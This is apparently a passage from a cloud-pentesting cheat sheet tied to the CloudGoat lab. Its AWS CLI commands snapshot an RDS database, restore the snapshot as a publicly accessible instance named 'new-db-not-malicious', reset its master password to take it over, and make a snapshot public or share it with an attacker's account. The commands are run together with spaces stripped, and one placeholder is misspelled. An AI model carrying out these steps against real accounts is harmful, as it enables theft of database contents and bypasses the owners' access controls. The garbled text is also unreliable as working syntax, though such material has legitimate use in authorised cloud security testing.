awsrdsdescribe-db-instances# Get DB identifierawsrdscreate-db-snapshot \--db-instance-identifier <db-id> \--db-snapshot-identifier cloudgoat# Get subnet groups & security groupsawsrdsdescribe-db-subnet-groupsawsec2describe-security-groupsawsrdsrestore-db-instance-from-db-snapshot \--db-instance-identifier "new-db-not-malicious" \--db-snapshot-identifier <scapshotId> \--db-subnet-group-name <dbsubnetgroup> \--publicly-accessible \--vpc-security-group-ids <ec2-securitygroup>awsrdsmodify-db-instance \--db-instance-identifier "new-db-not-malicious" \--master-user-password 'Llaody2f6.123' \--apply-immediately# Connect to the new DB after a few mins
# create snapshotawsrdscreate-db-snapshot--db-instance-identifier<db-instance-identifier>--db-snapshot-identifier<snapshot-name># Make it public/share with attackers accountawsrdsmodify-db-snapshot-attribute--db-snapshot-identifier<snapshot-name>--attribute-namerestore--values-to-addall## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}